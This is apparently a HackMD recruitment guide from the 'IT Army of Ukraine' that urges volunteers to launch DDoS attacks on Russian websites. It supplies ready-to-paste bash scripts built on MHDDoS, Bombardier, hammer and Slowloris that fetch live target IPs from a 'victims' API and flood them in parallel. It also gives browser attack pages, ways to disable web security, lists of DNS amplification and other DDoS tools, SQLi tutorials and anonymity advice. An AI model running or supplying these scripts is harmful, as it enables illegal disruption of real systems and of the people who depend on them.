owned this note
owned this note
Published
Linked with GitHub
IT Army of Ukraine - Cyber Weapons Division
===
![](https://i.imgur.com/qTIuRwR.png)
## Introduction
Russia has invaded Ukraine and commited various [war crimes](https://edition.cnn.com/2022/02/26/europe/ukraine-russia-invasion-sunday-intl-hnk/index.html). Russian media denies any of its attacks on civilian as well as denies any Russian troops casualties. According to them, they are doing this "special operation" to protect Ukrainians from... Ukraine.
[Mykhailo Federov](https://twitter.com/FedorovMykhailo) (Vice Prime Minister and Minister of Digital Transformation of Ukraine) has shared [this twitter post](t.me/itarmyofurraine) encouraging cyber attack on certain targets via [Telegram group](https://t.me/itarmyofukraine2022). This will be the primary source of the target websites for this application.
Some foreign media and even countries (e.g. Belarus) [publicly support Russian aggression towards Ukraine.](https://time.com/6151347/belarus-russia-ukraine/)
More info at https://war.ukraine.ua/
**BEWARE, It's a cyberwar, but DDoS is considered illegal in almost every country.**
**Also, you will risk having your internet blocked by your provider or having your contract cancelled.**
_I don`t support aggression over peaceful entities, but we are in war, we are defending ourselves, and helping the assaulted to defend from its agressor, in that case, I dont see any ethical or moral violation in DDoSing the agressor_
This document is in constant update. You may find new and updated content as you visit this document again.
## Usage
### Using a Web Browser
Your mission here is simple, you will [DDoS](https://en.wikipedia.org/wiki/Denial-of-service_attack) on strategic Russian websites/endpoints in order to take them down or significantly distrupt their services.
By now you have two different methods, first is using one of the URLs below. The other option is by using a DDoS script on Ubuntu Linux.
You may want to use a VPN service to hide your identity before doing it, I recommend using [Hola VPN on Opera Browser](https://addons.opera.com/en/extensions/details/hola-better-internet/)
> [Opera Browser also has a built-in VPN option](https://blogs.opera.com/news/2016/09/how-to-set-up-a-vpn-mac-windows-linux/)
I also recommend [changing your DNS server](https://www.windowscentral.com/how-change-your-pcs-dns-settings-windows-10) to [9.9.9.9](https://www.quad9.net/) and using [DNS over HTTPS](https://4sysops.com/archives/secure-dns-requests-over-https-doh-in-windows-1011/), and also use [randomized MAC Addresses](https://support.microsoft.com/en-us/windows/how-to-use-random-hardware-addresses-in-windows-ac58de34-35fc-31ff-c650-823fc48eb1bc#:~:text=a%20specific%20network%3A-,Select%20the%20Start%20button%2C%20then%20select%20Settings%20%3E%20Network%20%26%20Internet,hardware%20addresses%20for%20this%20network.)
If you're ok with Linux, ideally you may want to [boot a Tails Linux OS](https://www.techrepublic.com/article/getting-started-with-tails-the-encrypted-leave-no-trace-operating-system/#:~:text=During%20the%20bootup%20process%2C%20press,on%20your%20second%20USB%20drive.) Instead, this is the safest option.
**You can use any of the following website below, just leave it opened in your browser as long as possible:**
**https://fuckyourussianwarship.netlify.app**
**https://ddosmonitor.pp.ua/**
Also check:
>
> **https://github.com/Arriven/db1000n**
>
> Cossacks, we present you a new weapon!
>
> Our own program - Death by 1000 needles (DB1000N)
>
> This is software for coordinated DDoS attacks on the occupier's infrastructure. The main advantage of this method is that users only need to run the program on a PC to carry out attacks, and all coordination will be carried out and configured by administrators with the support of cybersecurity specialists.
>
> Instructions for use and all necessary links are in this document
>
> Please join everyone and download the program to your PC before the evening attacks, because then we will carry out the first attack with DB1000N. Stay tuned for the channel and upcoming updates.
Other options:
https://stop-russian-desinformation.near.page/
https://the-list.ams3.cdn.digitaloceanspaces.com/index.html
https://russianwarshipgofuckyourself.club/
https://norussian.tk/
https://stopwarnow.github.io/
https://ipfs.io/ipfs/QmYKMHHNfdxfhDtXujimFaG83ZkgkTo61p8jZ6Dww9kJaN?filename=index.html
_IPFS is a distributed uncensorable file system, please upload the html/js DDoS tools to IPFS nodes to avoid censorship, and let me know to update the document with the IPFS link._
Disabling CORS is necessary to be able to get the most performance out of those pages.
See how [here](https://stackoverflow.com/a/58658101/1644554).
Or you can simply [use a browser extension](https://chrome.google.com/webstore/detail/cors-unblock/lfhmikememgdcahcdlaciloancbhjino)
If you want to attack a single target you can use: https://freestresser.to/
> You can verify some Russian servers' status at https://rustatus.xyz/status, https://ddosmonitor.pp.ua/ and http://ru-stats.eastasia.cloudapp.azure.com/status
> If you need to verify an individual site, use https://downforeveryoneorjustme.com/gazprom.ru
> You can monitor the attack progress by pressing F12 (open dev tools) and navigating to the Network tab.
> You can use a headless browser on the command line with those websites like Firefox.
> With a headless browser you can attack using https://shell.cloud.google.com
> You can [enable WSL](https://www.configserverfirewall.com/windows-10/windows-subsystem-for-linux-2/) to use a Linux Shell on your Windows system
With WSL you can run all the scripts below in this article
Firefox Windows:
`firefox --headless --private-window https://norussian.tk/`
Chrome Windows:
`"[CHROME PATH HERE]/chrome.exe" --disable-web-security https://norussian.tk/`
Chrome Mac:
`open -na Google\ Chrome --args --user-data-dir=/tmp/temporary-chrome-profile-dir --disable-web-security --disable-site-isolation-trial https://norussian.tk/`
### Petitions and other forms of helping
Please sign
* https://chng.it/6QLhvNkNQM
Send SMS message to Russian people, help fight Russian propaganda
https://1920.in/
You can also write messages in Russian maps locations using this tool
https://github.com/jamesdh/kompromat
### Using on Ubuntu Linux
If you're a more advanced user, you can run a shell script on a Ubuntu Linux system to DDoS the websites.
This is a script that I have made to run multiple parallel DDoS attacks.
There is this tool, very nice indeed: https://github.com/seedpockets/ukrainian-warship
The API currently have more than 3000 targets, the script will random select 100 of the total.
We will improve the API to give precedence to priority targets and classify the targets, like military, business, the state, banks, crypto exchanges and etc...
Please use a VPN before using the script, ask on Telegram groups, there is a lot of NordVPN account they are sharing, also check free options in this document below.
You can also utilize this script on your Android device with Termux.
https://github.com/TermuxHackz/Hammer
Please check this awesome endeavour: https://github.com/prividcasper/RvK01RMD
Note that those tools were made for single URLs only, so using them on multiple URLs with this script may be hardware intensive.
To run the script, just copy and paste this on your terminal, and you're done. Leave it as long as possible:
> If you dont want to run it on your computer you can use https://shell.cloud.google.com.
See how [here](https://www.youtube.com/watch?v=gfuaRFfato8) or [here](https://www.aparat.com/v/XPn5Z)
Or you can use the free VPSs listed in the footer of the document.
#### Using the script with [MHDDoS](https://github.com/MHProDev/MHDDoS)
DDoS Attack Script With 40 Methods
```
#!/usr/bin/env bash
sudo apt update
sudo apt upgrade
sudo apt install jq
sudo apt install git
sudo apt install python
sudo apt install python
sudo apt install python3-pip
git clone https://github.com/MHProDev/MHDDoS.git
cd MHDDoS
pip3 install -r requirements.txt
targets_api="http://164.92.247.88:9300/victims"
curl -s $targets_api | jq -r .statuses[].ip | sort --random-sort | head -n 100 > targets.txt
for target in $(cat targets.txt); do
python3 start.py bypass "$target" 5 1000 socks5.txt 100 999999 &
done
```
#### Using the script with [Bombardier](https://github.com/codesenberg/bombardier)
Bombardier is a HTTP(S) benchmarking tool. It is written in Go programming language and uses excellent fasthttp instead of Go's default http library, because of its lightning fast performance.
```
#!/usr/bin/env bash
sudo apt update
sudo apt upgrade
sudo apt install jq
wget https://github.com/codesenberg/bombardier/releases/download/v1.2.5/bombardier-linux-amd6
chmod 770 bombardier-linux-amd64
chmod +x bombardier-linux-amd64
targets_api="http://164.92.247.88:9300/victims"
curl -s $targets_api | jq -r .statuses[].ip | sort --random-sort | head -n 100 > targets.txt
for target in $(cat targets.txt); do
sudo ./bombardier-linux-amd64 -c 200 -d 99999999999s -l "$target" &
done
```
Upgraded version:
```
#!/usr/bin/env bash
# settings
NUM_TARGETS=20
WORKERS=100
TARGETS_REFRESH=300
INSTALL_PATH="$HOME/cyberdefence-ua-ops"
BOMBARDIER_EXE="./bombardier-linux-amd64"
## make sure software is updated and dependencies are installed
sudo apt update
sudo apt upgrade
sudo apt install jq
sudo apt install curl
sudo apt install wget
## ensure we have Bombardier
# make sure path exists
mkdir -p "$INSTALL_PATH"
cd "$INSTALL_PATH"
# if exe is not there, then fetch it
if [[ ! -x "$BOMBARDIER_EXE" ]]; then
wget https://github.com/codesenberg/bombardier/releases/download/v1.2.5/bombardier-linux-amd64
chmod +x bombardier-linux-amd64
fi
# "Curated" API for targets
targets_api="http://164.92.247.88:9300/victims"
# loop forever until ^C interrupt
while :
do
# Get list of IPs from API, filter duplicates, random sort, and choose designated number
curl -s $targets_api | \
jq -r .statuses[].ips[] | \
sort --unique | \
sort --random-sort | \
head -n "$NUM_TARGETS" \
> targets.txt
# Loop through target IP list, start subprocess for each one
for target in $(cat targets.txt); do
#echo "$target"
echo "$BOMBARDIER_EXE" -c "$WORKERS" -d "$TARGETS_REFRESH""s" -l "$target"
"$BOMBARDIER_EXE" -c "$WORKERS" -d "$TARGETS_REFRESH""s" -l "$target" &
done
# ideally all target processes should be done after this, but we'll make sure
sleep "$TARGETS_REFRESH"
killall "$BOMBARDIER_EXE"
done
```
#### Using the script with [hammer](https://github.com/cyweb/hammer)
DoS tools written in Python
```
#!/usr/bin/env bash
sudo apt update
sudo apt upgrade
sudo apt install python
sudo apt install git
sudo apt install syslinux-utils
sudo apt install jq
git clone https://github.com/cyweb/hammer
cd hammer
targets_api="http://164.92.247.88:9300/victims"
curl -s $targets_api | jq -r .statuses[].ip | sort --random-sort | head -n 2 > targets.txt
for target in $(cat targets.txt); do
target=$(echo $target | sed 's/https\?:\/\///') &&
target=${target%/} &&
target=$(gethostip "$target" | awk '{print $2}') &&
python3 hammer.py -s "$target" &
done
```
#### Using the script with [Slowloris](https://github.com/gkbrk/slowloris.git)
Send authorized HTTP traffic to the server.
As it makes the attack at a slow rate, traffic can be easily detected as abnormal and can be blocked.
```
#!/usr/bin/env bash
sudo apt update
sudo apt upgrade
sudo apt install python
sudo apt install git
sudo apt install jq
git clone https://github.com/gkbrk/slowloris.git
cd slowloris
targets_api="http://164.92.247.88:9300/victims"
curl -s $targets_api | jq -r .statuses[].ip | sort --random-sort | head -n 100 > targets.txt
for target in $(cat targets.txt); do
python3 slowloris.py "$target" &
done
```
##### For MacOS Users
You need Python, Git, and JQ installed.
If you wanna user another tool, tune accordingly.
```
git clone https://github.com/cyweb/hammer
cd hammer
targets_api="http://164.92.247.88:9300/victims"
curl -s $targets_api | jq -r .statuses[].ip | sort --random-sort | head -n 100 > targets.txt
for target in $(cat targets.txt); do
target=$(echo $target | sed 's/https\?:\/\///') &&
target=${target%/} &&
host=$(echo $target | cut -d'/' -f3) &&
target2=$(host "$host" | head -1 | awk '{print $4}') &&
python3 hammer.py -s "$target2" &
done
```
### API For Devs
If you're a developer, We have created APIs with the current targets.
You can help me improving this document, but you will need to create an account on hackmd.io and text me on Telegram with the email you used in order to have edit access to this document.
* **Curated API Endpoint** http://164.92.247.88:9300/victims
* **RAW API Endpoint:** https://api.npoint.io/7244571a09d1f5274a45
* **Another API** https://itarmy.pp.ua/api/?type=online
You can fetch the data using the targets list and the target object name. On the command line, you will need curl and jq.
`curl -s https://api.npoint.io/7244571a09d1f5274a45 | jq -r .targets[].target`
`curl -s http://164.92.247.88:9300/victims | jq -r .statuses[].url`
### Current Targets
Processed, ranked and classified:
https://reqbin.com/jeqixot4
Raw data:
https://reqbin.com/hot28zo2
Another source:
https://itarmy.pp.ua/api/?type=online
### Free VPS
https://aws.amazon.com/pt/free/
https://www.oracle.com/cloud/free/
https://gratisvps.net/
https://baehost.com/en-int/vps-argentina/vps-gratis
### Free VPNs
ClearVPN
* Register on https://my.clearvpn.com/
* Select a Redeem a promocode button
* Enter promocode **SAVEUKRAINE**
* [Download and install ClearVpn application](https://macpaw.com/clearvpn)
* Login to your account.
* Press the "Change your location" button and change it to Russia (prefer) or another country.
**Please, do not select Ukraine on the VPN. Citizens in Ukraine must be able to access the Internet**
https://protonvpn.com/
https://www.f-secure.com/
https://www.urban-vpn.com/
https://atlasvpn.com/vpn-for-windows
### Another DDoS Tools
This is one is hot:
https://github.com/seedpockets/ukrainian-warship
https://github.com/ajax-lives/NoRussian - HTML ajax ddos
https://github.com/smok-serwis/siege-engine - take a look
https://github.com/1N3/Sn1per - useful to do main recon
https://github.com/thesc1entist/j0lt - dns amplification tool
https://github.com/OffensivePython/Saddam - dns amplification tool
https://github.com/0xc0d/Slow-Loris - Slow DDos to exhaust connection
https://github.com/XCHADXFAQ77X/SLOWLORIS - another way
https://github.com/gkbrk/slowloris.git - another slowloris repo
https://github.com/cyweb/hammer - tool that I have used
https://github.com/TermuxHackz/Hammer - same tools for Termux on android.
https://github.com/Avielyo10/DNS-Amplification-Lab - other kinds of attack
https://www.yougetsignal.com/tools/web-sites-on-web-server/ https://www.ip-address.org/reverse-lookup/reverse-ip.php - find other websites hosted on the same server.
https://github.com/LimerBoy/Impulse
https://github.com/maxng07/dns-flood
https://ufonet.03c8.net/
https://github.com/MHProDev/MHDDoS - Best DDoS Attack Script Python3, Cyber Attack With 40 Methods
https://sourceforge.net/projects/loic/ - Famous LOIC
UDP, TCP, and HTTP requests to the server
Test the performance of the network.
Loic does not hide an IP address.
Perform stress testing.
HIVEMIND mode will allow you to control remote LOIC systems. With the help of this, you can control other computers in a zombie network.
https://sourceforge.net/projects/highorbitioncannon/ - infamous hoic
Attack up to 256 websites at once.
counter to measure the output.
ported over to Linux or Mac OS.
### Shut Down YouTube Channels!
Let's shut down more news YouTube channels that openly lie about the war in Ukraine.
YouTube channels:
First channel: https://www.youtube.com/channel/UCX9-cJy8dZWDI8hCnmahuLA
Russia 24: https://www.youtube.com/c/Russia24TV
TASS: https://www.youtube.com/c/TASSagency
RIA Novosti: https://www.youtube.com/user/rianovosti
https://www.youtube.com/channel/UC8Nl7TQLC6eX8MTRCuAw3SA
https://www.youtube.com/channel/UCGRcod_jR4sC9XUMLCv4GJQ
https://www.youtube.com/channel/UCSqO8lV-ric7ow5G5q9roWw
https://www.youtube.com/channel/UCdyhZX5wt6B6dSIAT7X9dNw
https://www.youtube.com/channel/UCRHhScZmH-SfBin8tbTixPA
https://www.youtube.com/channel/UC3rZ3DKoeiccjl-e-lams_g
https://www.youtube.com/channel/UCJvDYmmZDbeDy5N_aBxXjpA
https://www.youtube.com/channel/UCMTaJV_Gyp1YOWJwSNa0wRw
https://www.youtube.com/channel/UC8lCS8Ubv3t0-Tf4IYLioTA
YouTube-blogers:
ZIMA LIVE: https://www.youtube.com/c/ZimaLive
Соловьёв LIVE: https://www.youtube.com/channel/UCQ4YOFsXjG9eXWZ6uLj2t2A
How to report channels:
⁃ Turn on your laptop or desktop computer.
⁃ Turn on VPN as most channels are not available in Ukraine.
⁃ Sign in to your YouTube account.
⁃ Open the desired channel.
⁃ Go to the About tab.
⁃ Find the flag image and click on it.
⁃ Select the appropriate violation description from the drop-down menu.
### SQLi
https://hackertarget.com/sqlmap-tutorial/
https://www.binarytides.com/sqlmap-hacking-tutorial/
### Also check out other initiatives:
https://github.com/erkexzcx/stoppropaganda
https://www.reddit.com/r/hacking/comments/t1a8is/simple_html_dos_script_for_russian_sites/
https://www.russianwarchatter.info/ - Known Russian Military Frequencies
### Specialize
If you want to become an expert and I.T Security field you may want to start reading those curated awesome guides:
https://github.com/onlurking/awesome-infosec
https://github.com/rmusser01/Infosec_Reference